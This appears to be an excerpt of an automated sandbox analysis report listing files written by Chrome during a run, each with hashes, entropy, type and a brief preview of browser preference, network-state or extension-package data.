Preview:	{"NewTabPage":{"PrevNavigationTime":"13305129961387853"},"account_tracker_service_last_update":"13305692552716526","alternate_error_pages":{"backup":true},"announcement_notification_service_first_run_time":"13245924509391818","autocomplete":{"retention_policy_last_version":104},"autofill":{"orphan_rows_removed":true},"bookmark_bar":{"show_on_all_tabs":false},"browser":{"has_seen_welcome_page":true,"navi_onboard_group":"","should_reset_check_default_browser":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"countryid_at_install":21843,"default_apps_install_state":3,"domain_diversity":{"last_reporting_timestamp":"13305692552699317"},"download":{"always_open_pdf_externally":true,"directory_upgrade":true,"extensions_to_open":"pdf:doc:docx:docxm:docm:xls:xlsx:xlsxm:xlsm:ppt:pptx:pptxm:pptm:mht:rtf:pub:vsd:mpp:mdb:dot:dotm:xlsb:xll:hwp:show:cell:hwpx:hwt:jtd:zip:iso:7z:

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\86b5a60a-7be7-46b4-b698-74320d7ccdbb.tmp

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	UTF-8 Unicode text, with very long lines, with no line terminators
Category:	dropped
Size (bytes):	14276
Entropy (8bit):	5.5735941291995035
Encrypted:	false
SSDEEP:	384:IHaLlTXj1kXqKf/pUZNCgVLH2HftyrUmwW4o:5Ll7j1kXqKf/pUZNCgVLH2HforU5W7
MD5:	88E69BF7255AA68A54EE27F2CB68E3D8
SHA1:	9491451E91A2DC241DDD67FA7DF22EEFE5F5C521
SHA-256:	49D7102EC46654C6131DFE8921F2FE51FCE4E0E020CCA139D60F513F9F1A3513
SHA-512:	DB7199B8032377C59A0F177C9A31C04CA2B0606451B09689C2D7179E2AEF1186400BFB90449F49DEF38FD046DF9A8B285255C1B0C0B1BC9FAD55C321FAA288A4
Malicious:	false
Reputation:	unknown
Preview:	{"download":{"always_open_pdf_externally":true,"directory_upgrade":true,"extensions_to_open":"pdf:doc:docx:docxm:docm:xls:xlsx:xlsxm:xlsm:ppt:pptx:pptxm:pptm:mht:rtf:pub:vsd:mpp:mdb:dot:dotm:xlsb:xll:hwp:show:cell:hwpx:hwt:jtd:zip:iso:7z:rar:tar:vbs:js:jse:vbe:exe:html:htm:xhtml:tbz2:lz"},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"manifest_permissions":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"install_time":"13305692547366154","location":5,"manifest":{"app":{"launch":{"web_url":"https://chrome.google.com/webstore"},"urls":["https://chrome.google.com/webstore"]},"description":"Discover great apps, games, extensions and themes for Google Chrome.","icons":{"128":"webstore_icon_128.png","16":"web

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\92658a94-03d6-4ebc-86b8-facc3ea12a4d.tmp

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines, with no line terminators
Category:	dropped
Size (bytes):	8797
Entropy (8bit):	5.137049023366848
Encrypted:	false
SSDEEP:	192:1oW1XIY988yy+FqUkxhN2+a080K1bcgqj0+tjEsXtScJ:1TXyxq772yPtIsXtScJ
MD5:	5FFA7DACA765C5E3AC2AA639B6147FC1
SHA1:	DBED4B6177CB2820289F908BA48D753C9D60E4CD
SHA-256:	1379B9DED28541CFDBFE8E216408E4BD145BEF798E30CD1600BAF1BB5C48790B
SHA-512:	152C92FECAA548A0F59F22137137E4F2291923E7D3CE604183446C86088EA46CF90DD389D7C73D7C39F9A311B56CFE7B1D8F1A7FA51A0C571A92751D9101E87C
Malicious:	false
Reputation:	unknown
Preview:	{"NewTabPage":{"PrevNavigationTime":"13305129961387853"},"account_tracker_service_last_update":"13305692552716526","alternate_error_pages":{"backup":true},"announcement_notification_service_first_run_time":"13245924509391818","autocomplete":{"retention_policy_last_version":104},"autofill":{"orphan_rows_removed":true},"bookmark_bar":{"show_on_all_tabs":false},"browser":{"has_seen_welcome_page":true,"navi_onboard_group":"","should_reset_check_default_browser":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"countryid_at_install":21843,"default_apps_install_state":3,"domain_diversity":{"last_reporting_timestamp":"13305692552699317"},"download":{"always_open_pdf_externally":true,"directory_upgrade":true,"extensions_to_open":"pdf:doc:docx:docxm:docm:xls:xlsx:xlsxm:xlsm:ppt:pptx:pptxm:pptm:mht:rtf:pub:vsd:mpp:mdb:dot:dotm:xlsb:xll:hwp:show:cell:hwpx:hwt:jtd:zip:iso:7z:

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\95b57d9a-4286-409c-bb2f-5e494bea0f31.tmp

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines, with no line terminators
Category:	dropped
Size (bytes):	8945
Entropy (8bit):	5.136964275893145
Encrypted:	false
SSDEEP:	192:1oW1XIYN88yy+FqAkh7N2+a080K1bcgqj0+tjEsXtScJ:1T7yxqb52yPtIsXtScJ
MD5:	F977D7D87270F85CD7319F37D9071945
SHA1:	361FC005B72DD4F69920A1C204CB468EFF4C4CDF
SHA-256:	4BD17753BFC3D8355D7E152FF5B1DBC46D68C4C33E2FC848B09405C197B1F967
SHA-512:	91882BAF649B16CFDC6786D3BDA2319040808B71564B1FDE5ED5E64EEC02C143DFCD8C65731D82F9890213FAA910AE728D03E0370DB98BBF7994F2BFF01637B1
Malicious:	false
Reputation:	unknown
Preview:	{"NewTabPage":{"PrevNavigationTime":"13305129961387853"},"account_tracker_service_last_update":"13305692552716526","alternate_error_pages":{"backup":true},"announcement_notification_service_first_run_time":"13245924509391818","autocomplete":{"retention_policy_last_version":104},"autofill":{"orphan_rows_removed":true},"bookmark_bar":{"show_on_all_tabs":false},"browser":{"has_seen_welcome_page":true,"navi_onboard_group":"","should_reset_check_default_browser":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"countryid_at_install":21843,"default_apps_install_state":3,"domain_diversity":{"last_reporting_timestamp":"13305692552699317"},"download":{"always_open_pdf_externally":true,"directory_upgrade":true,"extensions_to_open":"pdf:doc:docx:docxm:docm:xls:xlsx:xlsxm:xlsm:ppt:pptx:pptxm:pptm:mht:rtf:pub:vsd:mpp:mdb:dot:dotm:xlsb:xll:hwp:show:cell:hwpx:hwt:jtd:zip:iso:7z:

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Download Service\Files\668ba4ff-b5da-4b4a-8659-7d8d22acac4d

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	9419
Entropy (8bit):	7.925159491819897
Encrypted:	false
SSDEEP:	192:cUyvLGbeIU8i4Vua0ILg6tuyqlCUtd8n9p4aimegsai+rt:PyjU0a0ILgOZ26zjt
MD5:	AC1A5B29CB8C1984BF9D47EBC28C6C0B
SHA1:	41D27BB0BCC44BAACF6260B15C233D92652201B3
SHA-256:	E9F5E92EC8F10E9A09F8F50692AC37119E843F3E6938E602B7C5DD248AD8F593
SHA-512:	582D18621DBD0B8DFC03FEFF01EE8E28F7BB58B8F0BB991CD1238D4116E35DA59075E9CCE08CB2BDD1C1BA1664CBC4B51615BDFAAC13118CBBFA80EE8E12D17D
Malicious:	false
Reputation:	unknown
Preview:	Cr24....E.........0.."0....H.............0.........:.2.W.))...I...5_U(I7nz...2[.;..H...S.../...nb%Yx.6.]i.....u...PDF.i.LJK.?....l.....R...\|...j...C..j!.%'..s....[."...Gy...=l)..=.l\....4..Q!$e.=...C.1.%d..B...K.[.l,.....7......y...$7J..G&TT..W.-=jgs[...&.@/.j$....+...yk\|l^..Km)\Y..x..}OCXf.....A5s.7..8..o....L..(p[...^e......?&X..:~,.)..C..n...Hh.....<..N..0.....woa6....'&y....tH..7@..a.t.....F..YQU......<......m!..^.#f.'F".....lt..97U3f...WM....]Lw...)..x...)..Hy Z...l.a.)J~'.y.o.NS.#.,6.D.9UMW..l>.pa.WG.^..L,..B...."p.Y.....<..............y...f.A......V....X...4..1..Jg..:...I......#.f..P...N..P..~O..9LP..k{NP..R.....wP.yw......D.....].yc.eT..../.VC%D.......j.JgP...2..3..a...c...q.t...4_.o.WpUAZ.$.%kB.~.... ....Ir.HM.'...A.."W.....L3.a.\|...b..%.5d...qy..s.......'.VT}@..^...<.......(..w...K..)&..3RR6.<.g`.e.b..P.+.E$...:....../E..`Y...r.....vT.i...V.).N,..F.Z....~XQ.u...Ev...=......u~<.z...8.}rE.,tQhX.rFz.^1.\|@.....<I...x7.s...i...@.8.k.

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Download Service\Files\668ba4ff-b5da-4b4a-8659-7d8d22acac4d:Zone.Identifier

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	172
Entropy (8bit):	5.386205294326134
Encrypted:	false
SSDEEP:	3:gAWY3tNQWHY0zMwqELrrmHWKXaR8dDR9A+F/8b3iDrVXqogppEi0o/:qY3tNp40zMw/yHNKREXA+FWiDrlgppLd
MD5:	D5C72B00E89E9C7BF530B44D6378A05C
SHA1:	7CC976EBD4240CD4F2F72021241D6D47D9BE13B6
SHA-256:	5FCB0BCCAFD16D8E5BBF3043BBF01E7CAE2755999DE985517FBB2C95C1F7D5BD
SHA-512:	7BD7B127CE1D68ACA0C546DCF3ECC03DE8EE6BC331954FC71E035ACEC397C6E65443EFE3CF1C95DFD6C636DAC0ACEA6944734231E5A7553F6643FBAAB42C1008
Malicious:	false
Reputation:	unknown
Preview:	[ZoneTransfer]..ZoneId=3..HostUrl=https://optimizationguide-pa.googleapis.com/downloads?name=2202180000&target=OPTIMIZATION_TARGET_SEGMENTATION_CHROME_LOW_USER_ENGAGEMENT..

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Download Service\Files\76e6a0c5-e5bb-41aa-b191-30300b425a78

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	265060
Entropy (8bit):	7.995649560918691
Encrypted:	true
SSDEEP:	6144:j71bE8xvMX08XghZNhvfhua/I4dMdYuw4/xCRxQkdE6oa:jp1xE3g3Nhvf39dMNxxyxGLa
MD5:	46D927BF3AE7285ECF3E1BEB08A6AD03
SHA1:	5B94DF9B032536DCA3C493B0A11341EFA7898477
SHA-256:	636EB2212BD1C34A6D9745F271AC0ED9695B727D2EF41747DD7E387C98F33EA5
SHA-512:	1DDAFD04C3F9B49D8E86F0E0B2CA438D851A3B7C4DDFF8BB982512F28A340DAC7D490EDBD5D3CF59C41B3E2F2F320B767557B8DD0E715366DFE0527F0E0003BF
Malicious:	false
Reputation:	unknown
Preview:	Cr24....E.........0.."0....H.............0.........:.2.W.))...I...5_U(I7nz...2[.;..H...S.../...nb%Yx.6.]i.....u...PDF.i.LJK.?....l.....R...\|...j...C..j!.%'..s....[."...Gy...=l)..=.l\....4..Q!$e.=...C.1.%d..B...K.[.l,.....7......y...$7J..G&TT..W.-=jgs[...&.@/.j$....+...yk\|l^..Km)\Y..x..}OCXf.....A5s.7..8..o....L..(p[...^e......?&X..:~,.)..C..n...Hh.....<..N..0.....woa6....'&y....tH..7@..a.t.....F..YQU......<......m!..^.#f.'F".....lt..97U3f...WM....]Lw...)..x...)..Hy Z...l.a.)J~'.y.o.NS.#.,6.D.9UMW..l>.pa.WG.^..L,..B...."p.Y.....<............\|...d...0j.Ta..68Q..B..3..Iq..._a......V...wa.'D.t.d.c2c/u..-..<......k.W.[..9`.....N.........[.l..B.y...4MQ........T..(....p..)1^....?..^.[.09A....d-.....r....9.......\.%a..-M..=.F#\.}.f.K.\:.....h.R.}b.......?n.?H!7......e.<.*f. !5q.8..i.,a.R:..@X3..=4....H.bD?....d^`\.=i....NO.I..J.6...y...o..O...w.c.....Z...Wu.n..8.0@.M.'.H6>F=.lm~^Km.....S.:..@r..U..........T..k.x.q...~m...J...)..#...F\..Wq.2..

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Download Service\Files\76e6a0c5-e5bb-41aa-b191-30300b425a78:Zone.Identifier

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	154
Entropy (8bit):	5.427678974330711
Encrypted:	false
SSDEEP:	3:gAWY3tNQWHY0zMwqELrrmHWKXaGzIJShF/8b3iDXRm2mGAvn:qY3tNp40zMw/yHNKGG6FWiDXNXAv
MD5:	BBB6B216D77E537215AF590F04EE20A6
SHA1:	C8282C5F823F1561366656BAEB683E628BD7D1A2
SHA-256:	C1917E2FCC784CFD27ADE41207E6E4C1E13403E68F5397714E685D52B33CC6C8
SHA-512:	15ADEEC8FB13006C216F92807835DB5EEFB9349076D37B6FB7E7A16C77F54DE5E6D6BCD4B1AC14BB78F58E75217671216EFFB858478F4DA72104E4C70DF78D8F
Malicious:	false
Reputation:	unknown
Preview:	[ZoneTransfer]..ZoneId=3..HostUrl=https://optimizationguide-pa.googleapis.com/downloads?name=1660568498583&target=OPTIMIZATION_TARGET_LANGUAGE_DETECTION..

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Download Service\Files\d0b5d58d-9d34-4068-aadd-a1e718bedb3f

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	4955
Entropy (8bit):	7.9048440594438185
Encrypted:	false
SSDEEP:	96:m3Rjis6KpU2mQIuizB0QknoAGKQ6pL65a9gNWADJz8I13EdAhTtQ2LwI61abHwdz:cus6KatWifkoAGN6s5a9mFU+TRbQh3X
MD5:	766A3E17C6325AACDB116643EBE05F7D
SHA1:	E9709278668DC4C2930A956AFABA2A2E64029CF8
SHA-256:	1C6EE9F6267A7C38C8EC1CD015495A5C80324DC417A35672C9CC90931F89F1F4
SHA-512:	686CD14585D7AE04FAF2ADFF6B5F1DB575DB9B106BD5C97957DA2452FE6BBD617CFD01841976A5FFD248EFBC62D502AF0CC0B7989A3BB3C2A960EB29EE273F27
Malicious:	false
Reputation:	unknown
Preview:	Cr24....E.........0.."0....H.............0.........:.2.W.))...I...5_U(I7nz...2[.;..H...S.../...nb%Yx.6.]i.....u...PDF.i.LJK.?....l.....R...\|...j...C..j!.%'..s....[."...Gy...=l)..=.l\....4..Q!$e.=...C.1.%d..B...K.[.l,.....7......y...$7J..G&TT..W.-=jgs[...&.@/.j$....+...yk\|l^..Km)\Y..x..}OCXf.....A5s.7..8..o....L..(p[...^e......?&X..:~,.)..C..n...Hh.....<..N..0.....woa6....'&y....tH..7@..a.t.....F..YQU......<......m!..^.#f.'F".....lt..97U3f...WM....]Lw...)..x...)..Hy Z...l.a.)J~'.y.o.NS.#.,6.D.9UMW..l>.pa.WG.^..L,..B...."p.Y.....<...............@....A..h=....g..C..b.H.....nj.6.6...noT>..+3..;.0.(.ys.....{...x...,P.3+.\|...7j..z..@.:.[...).7.n..Y-..R3...j.\......y.....".......c......y...0s.E......g0.fC....F...l.......).....B.b$.$...U..'.1.[.:.L.b`..s1i...J.........$..#...".7.......K.b.).h.J.......#.2.a.p.B......s..'..s..'.Z.uS..de..B........3..2.,.A..ZT.~>..Y~sq!.,....).C0.c..1?B....1.@..Y.....w..I..f.y.S..H..X.6o.8(.... 1j....+I?....Bvs.h.

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Download Service\Files\d0b5d58d-9d34-4068-aadd-a1e718bedb3f:Zone.Identifier

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	171
Entropy (8bit):	5.422913312692801
Encrypted:	false
SSDEEP:	3:gAWY3tNQWHY0zMwqELrrmHWKXaGXUUeQCA+F/8b3iDDz8LYXLFgjsjy:qY3tNp40zMw/yHNKGXNeQD+FWiDDbbFM
MD5:	552717125583DD0F982A19DC01C362FD
SHA1:	FF025F074C9A2038666E9653794A332BED7A855D
SHA-256:	95E0F4E79E26ABEDBD05456066F1733594CFCE1DE0773FFC91CDE8D04C591E16
SHA-512:	1E9092F725C3E3B238679CD6CC657FC0C50A22E276D79D37884CAC4B4E57A0BB4E005B875BDC3A16A4244B892243DF9C24043923E59E3CC92C5BEF99E13597A0
Malicious:	false
Reputation:	unknown
Preview:	[ZoneTransfer]..ZoneId=3..HostUrl=https://optimizationguide-pa.googleapis.com/downloads?name=1660568541167&target=OPTIMIZATION_TARGET_NOTIFICATION_PERMISSION_PREDICTIONS..

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\302c6087-2f48-446e-b58c-53865af75326.tmp

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines, with no line terminators
Category:	dropped
Size (bytes):	1037
Entropy (8bit):	5.53039963254814
Encrypted:	false
SSDEEP:	24:YY9RAeUq26H0UCudvrfwUq0G1KUNQDqUNwO7wUoQ:YoieUq26UUCud8UqTKUNBUNrwUB
MD5:	648174DD069B92CA542F78DB83C57EBB
SHA1:	C2D63ADAADC3B53AEB143ADF25D2AAEC52608761
SHA-256:	23DFFB76E76821F98DA494FBA9FFA62205AF43332AE46C22A12AFD7B10B3A38B
SHA-512:	43A5A2A9242D49401E0844CB8BE2F6C7FCA07AA3258D8347B66669100DC8551BE239047B5BA07753A1368A7AE0AAA1D3CAF35F948DFE0651A2764A39C2B20AAA
Malicious:	false
Reputation:	unknown
Preview:	{"expect_ct":[],"sts":[{"expiry":1692191158.666157,"host":"M4bfUnCmQAi4PNb3B8aI/2+SVJhHKsMfMMT7fzi6ij4=","mode":"force-https","sts_include_subdomains":true,"sts_observed":1660655158.666161},{"expiry":1692755013.616106,"host":"OuKlWsMW1dkkbI1X/oi6o0Y95ZNSWnSoeaIXAEYPlv4=","mode":"force-https","sts_include_subdomains":true,"sts_observed":1661219013.616108},{"expiry":1671541558.7626,"host":"fJjUrPqhktMfiTHJX3Q0pJi/P12Q72DBgzzJqjlNC4o=","mode":"force-https","sts_include_subdomains":true,"sts_observed":1660655158.762604},{"expiry":1692191158.699101,"host":"nAuqgR4iEWti7SOdT3UHPl6rmZU/DeaIm38P2O2OkgA=","mode":"force-https","sts_include_subdomains":false,"sts_observed":1660655158.699104},{"expiry":1692191158.875158,"host":"5EdUoB7YUY9zZV+2DkgVXgho8WUvp+D+6KpeUOhNQIM=","mode":"force-https","sts_include_subdomains":false,"sts_observed":1660655158.875161},{"expiry":1692190297.798627,"host":"8/RrMmQlCD2Gsp14wUCE1P8r7B2C5+yE0+g79IPyRsc=","mode":"force-https","sts_include_subdomains":true,"sts_obse

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\76509921-e1e5-4080-9c8b-5400742b07ef.tmp

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines, with no line terminators
Category:	dropped
Size (bytes):	1037
Entropy (8bit):	5.5324676747728
Encrypted:	false
SSDEEP:	24:YY9RAeUqEW6H0UodvrfwUq0G1KUNQDqUNwO7wUoQ:YoieUqEW6UUod8UqTKUNBUNrwUB
MD5:	1642CD57783625B67F1492EB23CA43C4
SHA1:	B3BF243D7C40B5EF19CFC8F24A5CCE3784A6C942
SHA-256:	A459219270908111926853F44DF319920EEDD5CBEA879CFFBE90498F7CAE21F0
SHA-512:	FE73C37B64A4B364476271D42B6F74C55EF7A7050438CD58FBDB1513BA7BE12D2C70DD584A572BC2FA5DD55899A4975269355943AA62F70F28C4C24EBA944BEC
Malicious:	false
Reputation:	unknown
Preview:	{"expect_ct":[],"sts":[{"expiry":1692191158.666157,"host":"M4bfUnCmQAi4PNb3B8aI/2+SVJhHKsMfMMT7fzi6ij4=","mode":"force-https","sts_include_subdomains":true,"sts_observed":1660655158.666161},{"expiry":1692754998.911142,"host":"OuKlWsMW1dkkbI1X/oi6o0Y95ZNSWnSoeaIXAEYPlv4=","mode":"force-https","sts_include_subdomains":true,"sts_observed":1661218998.911144},{"expiry":1671541558.7626,"host":"fJjUrPqhktMfiTHJX3Q0pJi/P12Q72DBgzzJqjlNC4o=","mode":"force-https","sts_include_subdomains":true,"sts_observed":1660655158.762604},{"expiry":1692191158.699101,"host":"nAuqgR4iEWti7SOdT3UHPl6rmZU/DeaIm38P2O2OkgA=","mode":"force-https","sts_include_subdomains":false,"sts_observed":1660655158.699104},{"expiry":1692191158.875158,"host":"5EdUoB7YUY9zZV+2DkgVXgho8WUvp+D+6KpeUOhNQIM=","mode":"force-https","sts_include_subdomains":false,"sts_observed":1660655158.875161},{"expiry":1692190297.798627,"host":"8/RrMmQlCD2Gsp14wUCE1P8r7B2C5+yE0+g79IPyRsc=","mode":"force-https","sts_include_subdomains":true,"sts_obse

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\978787c9-0b67-45d5-9b30-aa32432a6901.tmp

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines, with no line terminators
Category:	dropped
Size (bytes):	4076
Entropy (8bit):	4.897968722617942
Encrypted:	false
SSDEEP:	96:1GuVGoKzGrt5OGDBeGpGfGLGpiEGW5GhGPm1i2GKBtGPhM:15Czqt5OGDBekK4IfB5kQm1i2DBtN
MD5:	2D3691614576F89B98FDFE9C694F4372
SHA1:	E39274A5B328004EFC694B405721FCE46C39EE6C
SHA-256:	ACA220AC8A8A9B0C94634D15738CED707BEFC07998FF7E8AEF1C5E43813B0C01
SHA-512:	716A1425D868EB3E489DDF0C365FC8A128DBAEC82DE671554D4D327D02FDAE98A2AE5F2F746411588F5B92D312ABAF031754A28220E469AC58701E22737C5998
Malicious:	false
Reputation:	unknown
Preview:	{"net":{"http_server_properties":{"servers":[{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13307721965288924","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":19970},"server":"https://update.googleapis.com","supports_spdy":true},{"isolation":[],"network_stats":{"srtt":26588},"server":"https://r4---sn-5hneknee.gvt1.com"},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13307721968644549","port":443,"protocol_str":"quic"}],"isolation":[],"server":"https://redirector.gvt1.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":[],"expiration":"13307719910105882","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":26383},"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":[],"expiration":"13307719904566471","port":443,"protocol_str":"quic"}],"isolation":[],"server":"https://ssl.gstatic.com","supports_spdy":true},{"isolation":[],"se

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines, with no line terminators
Category:	dropped
Size (bytes):	4107
Entropy (8bit):	4.897095648864852
Encrypted:	false
SSDEEP:	96:1GuVGoKzGrt5OGDBeGpGfGLGpiEGW5GhGPm1Gl2GCtGXhM:15Czqt5OGDBekK4IfB5kQm1W2VtR
MD5:	C4BAE4902065171978D81B1C2B98ADF1
SHA1:	4677541E1AD7B739459A9E2A18D0E529F6193D5A
SHA-256:	ED8BD8A14938F0F9BF7E2D26DDCD04D17EC8489117DEB7995B539B7D2140DDA2
SHA-512:	E7673324A5584D727D21788CB040F64632D62BF3A9C0F1143F04CE0478DE9F73287155C96090A02B8F92A5ECB834116BE328029457147881BCAADB8DFF5DE1E0
Malicious:	false
Reputation:	unknown
Preview:	{"net":{"http_server_properties":{"servers":[{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13307721965288924","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":19970},"server":"https://update.googleapis.com","supports_spdy":true},{"isolation":[],"network_stats":{"srtt":26588},"server":"https://r4---sn-5hneknee.gvt1.com"},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13307721968644549","port":443,"protocol_str":"quic"}],"isolation":[],"server":"https://redirector.gvt1.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":[],"expiration":"13307719910105882","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":26383},"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":[],"expiration":"13307719904566471","port":443,"protocol_str":"quic"}],"isolation":[],"server":"https://ssl.gstatic.com","supports_spdy":true},{"isolation":[],"se

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\TransportSecurity (copy)

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines, with no line terminators
Category:	dropped
Size (bytes):	1037
Entropy (8bit):	5.53039963254814
Encrypted:	false
SSDEEP:	24:YY9RAeUq26H0UCudvrfwUq0G1KUNQDqUNwO7wUoQ:YoieUq26UUCud8UqTKUNBUNrwUB
MD5:	648174DD069B92CA542F78DB83C57EBB
SHA1:	C2D63ADAADC3B53AEB143ADF25D2AAEC52608761
SHA-256:	23DFFB76E76821F98DA494FBA9FFA62205AF43332AE46C22A12AFD7B10B3A38B
SHA-512:	43A5A2A9242D49401E0844CB8BE2F6C7FCA07AA3258D8347B66669100DC8551BE239047B5BA07753A1368A7AE0AAA1D3CAF35F948DFE0651A2764A39C2B20AAA
Malicious:	false
Reputation:	unknown
Preview:	{"expect_ct":[],"sts":[{"expiry":1692191158.666157,"host":"M4bfUnCmQAi4PNb3B8aI/2+SVJhHKsMfMMT7fzi6ij4=","mode":"force-https","sts_include_subdomains":true,"sts_observed":1660655158.666161},{"expiry":1692755013.616106,"host":"OuKlWsMW1dkkbI1X/oi6o0Y95ZNSWnSoeaIXAEYPlv4=","mode":"force-https","sts_include_subdomains":true,"sts_observed":1661219013.616108},{"expiry":1671541558.7626,"host":"fJjUrPqhktMfiTHJX3Q0pJi/P12Q72DBgzzJqjlNC4o=","mode":"force-https","sts_include_subdomains":true,"sts_observed":1660655158.762604},{"expiry":1692191158.699101,"host":"nAuqgR4iEWti7SOdT3UHPl6rmZU/DeaIm38P2O2OkgA=","mode":"force-https","sts_include_subdomains":false,"sts_observed":1660655158.699104},{"expiry":1692191158.875158,"host":"5EdUoB7YUY9zZV+2DkgVXgho8WUvp+D+6KpeUOhNQIM=","mode":"force-https","sts_include_subdomains":false,"sts_observed":1660655158.875161},{"expiry":1692190297.798627,"host":"8/RrMmQlCD2Gsp14wUCE1P8r7B2C5+yE0+g79IPyRsc=","mode":"force-https","sts_include_subdomains":true,"sts_obse

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\bb71a22e-4aa0-4605-923a-4dcb178c5ec7.tmp

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines, with no line terminators
Category:	dropped
Size (bytes):	3768
Entropy (8bit):	4.8948551566918335
Encrypted:	false
SSDEEP:	96:sGrG1GWoGpiOGNGFGWX6DH5t5nGUGJGpKMGokGuAGPhM:sEQBoI9+MrX6DH5t5nRGJIKMs0N
MD5:	453BDA7BF6B44ABD969E5620A0B93605
SHA1:	0EDEBB50F6575DA2D489E6B6DC35E706CA0AE367
SHA-256:	A369A63C186A5C6EB0A02984B5AEAFE694CE4CBA99591B41A895C506C02AE88E
SHA-512:	CBF8DEBF923EF2D835AFFD9632A0D3F2AA04889095D1E75291BE3279B507B630666ED2465BDB2C6621B6C021875217128040F091B85475F5F44FAEB32561D24F
Malicious:	false
Reputation:	unknown
Preview:	{"net":{"http_server_properties":{"servers":[{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13307720759623986","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":25676},"server":"https://www.gstatic.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13307720758665948","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":18519},"server":"https://www.googletagmanager.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13307720760609344","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":48035},"server":"https://www.googleapis.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13307720759215589","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":23344},"server":"https://www.google-analytics.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\d9aecda7-aaad-42d4-a13e-6131b386f0f8.tmp

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines, with no line terminators
Category:	dropped
Size (bytes):	4107
Entropy (8bit):	4.897095648864852
Encrypted:	false
SSDEEP:	96:1GuVGoKzGrt5OGDBeGpGfGLGpiEGW5GhGPm1Gl2GCtGXhM:15Czqt5OGDBekK4IfB5kQm1W2VtR
MD5:	C4BAE4902065171978D81B1C2B98ADF1
SHA1:	4677541E1AD7B739459A9E2A18D0E529F6193D5A
SHA-256:	ED8BD8A14938F0F9BF7E2D26DDCD04D17EC8489117DEB7995B539B7D2140DDA2
SHA-512:	E7673324A5584D727D21788CB040F64632D62BF3A9C0F1143F04CE0478DE9F73287155C96090A02B8F92A5ECB834116BE328029457147881BCAADB8DFF5DE1E0
Malicious:	false
Reputation:	unknown
